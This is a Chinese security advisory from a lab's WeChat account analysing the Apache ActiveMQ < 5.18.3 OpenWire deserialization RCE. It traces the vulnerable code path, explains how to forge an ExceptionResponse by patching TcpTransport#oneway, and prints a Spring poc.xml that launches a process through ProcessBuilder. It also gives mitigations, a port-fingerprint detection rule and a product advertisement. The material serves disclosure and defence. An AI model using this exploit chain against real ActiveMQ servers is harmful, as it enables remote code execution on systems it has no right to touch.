简介
Apache ActiveMQ 是美国阿帕奇(Apache)基金会的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
10月 24 日,ActiveMQ发布5.18.3版本,修复了可以通过构造恶意的序列化消息数据,导致加载恶意类和执行任意代码的问题。
建议防火墙限制 ActiveMQ 的 61616 端口、限制 ActiveMQ 访问互联网等方式进行缓解。
漏洞基本信息
漏洞详细分析
ActiveMQ中openwire 在收到 TCP 的数据流之后,会进行反序列化,并将输入流的的 claszz 和 message 传递给createThrowable,并最终通过反射加载执行恶意类。
复现过程
根据修复commit,可以确定漏洞sink点。
org.apache.activemq.openwire.v12#createThrowable()
攻击者可以构建一个恶意的类,这个类继承Throwable,然后在它的构造方法中包含恶意代码。
tightUnmarsalThrowable、looseUnmarsalThrowable会调用createThrowable
其对应的Marshal方法
客户端发送message时,先将message序列化后,然后对应的再反序列化。也就是要调用到tightUnmarsalThrowable/tightMarsalThrowable1 或者 looseUnmarsalThrowable/looseMarsalThrowable
有三处调用到tightMarsalThrowable1的操作,ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller
根据类名可以判断,这三个类对应的是对不同信息(ConnectionError、ExceptionResponse、MessageAck)进行系列化
到这里可以推断出,需要构造⼀个ExceptionResponse对象发给ActiveMQ , 之后会调⽤对应的unmarshal方法。
尝试发送信息,根据提供的demo
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQTopic;
import javax.jms.*;
class Publisher {
public static void main(String []args) throws JMSException {
String user = env("ACTIVEMQ_USER", "admin");
String password = env("ACTIVEMQ_PASSWORD", "password");
String host = env("ACTIVEMQ_HOST", "localhost");
int port = Integer.parseInt(env("ACTIVEMQ_PORT", "61616"));
String destination = arg(args, 0, "event");
int messages = 10000;
int size = 256;
String DATA = "abcdefghijklmnopqrstuvwxyz";
String body = "";
for( int i=0; i < size; i ++) {
body += DATA.charAt(i%DATA.length());
}
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://" + host + ":" + port);
Connection connection = factory.createConnection(user, password);
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination dest = new ActiveMQTopic(destination);
MessageProducer producer = session.createProducer(dest);
producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT);
for( int i=1; i <= messages; i ++) {
TextMessage msg = session.createTextMessage(body);
msg.setIntProperty("id", i);
producer.send(msg);
if( (i % 1000) == 0) {
System.out.println(String.format("Sent %d messages", i));
}
}
producer.send(session.createTextMessage("SHUTDOWN"));
connection.close();
}
private static String env(String key, String defaultValue) {
String rc = System.getenv(key);
if( rc== null )
return defaultValue;
return rc;
}
private static String arg(String []args, int index, String defaultValue) {
if( index < args.length )
return args[index];
else
return defaultValue;
}
}
调试过程中,发现
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal() 中是根据 dataType 的值来判断应该使用什么方法反序列化
其中ConnectionErrorMarshaller=16、ExceptionResponseMarshaller=31、MessageAckMarshaller=22。
查看堆栈调用信息,发现在创建连接时,会进入到org.apache.activemq.transport.tcp.TcpTransport#oneway()。会将传入的command进行系列化。
这个可以直接将command替换成 我们想要构造的数据。可以将command改成ExceptionResponse类型的对象,这样Activemq会调用对应的反序列化方法,从而执行到sink点。
这里使用了Spring环境下的ClassPathXmlApplicationContext类来加载远程恶意XML导致RCE
poc.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
修改oneway方法
运行demo
影响分析
由于不需要其他权限,只需要能访问到 ActiveMQ 的 61616 端口,在没有配置认证的情况下默认即可执行任意代码。
处置建议
1. 将 activemq 升级至 5.18.3 及以上版本
2. 使用防火墙限制 ActiveMQ 的 61616 端口到内网,禁止互联网访问特定端口。
3. 使用防火墙限制 ActiveMQ 访问互联网,限制其请求外部 XML 文件和加载执行代码。
排查方式:
1. 端口指纹排查
可以通过访问61616端口查找ActiveMQ特征关键词
规则如:
protocol: TCP
directive_name: activemq
ports:
- 61616
matches: -
service: redis
pattern: ^RActiveM
2. 进程指纹
从进程中可以通过排查是否包含activemq.jar关键字
activemq.jar
参考链接
https://issues.apache.org/jira/projects/AMQ/issues/AMQ-9370
https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f
排查工具及投毒情报
墨菲安全提供产品可实时拦截针对开源组件的投毒
墨菲安全的私有源网关产品可对npm、pip、maven等中央仓库的投毒事件进行实时的检测和拦截,同时支持对高危漏洞实现基线管理,目前该产品已在蚂蚁、小米、中国电信、中国移动等数十家客户落地应用。
墨菲安全提供实时的开源组件投毒情报预警可订阅
墨菲安全0day漏洞及投毒情报覆盖最新的0day、1day及投毒情报预警,所有情报经过严格的安全专家研判,保障企业获取的第一手的高质量漏洞及投毒情报,更有比CVE漏洞库多25+额外的详细分析字段,目前该产品已在蚂蚁、美团、中国电信等数十家客户落地应用。
以上功能企业可通过以下方式申请试用
一、长按二维码申请:
二、访问申请链接:
https://murphysec.feishu.cn/share/base/form/shrcny75AEBuEJpL8myuAKPfsPe
原文始发于微信公众号(墨菲安全实验室):Apache ActiveMQ < 5.18.3 远程代码执行漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论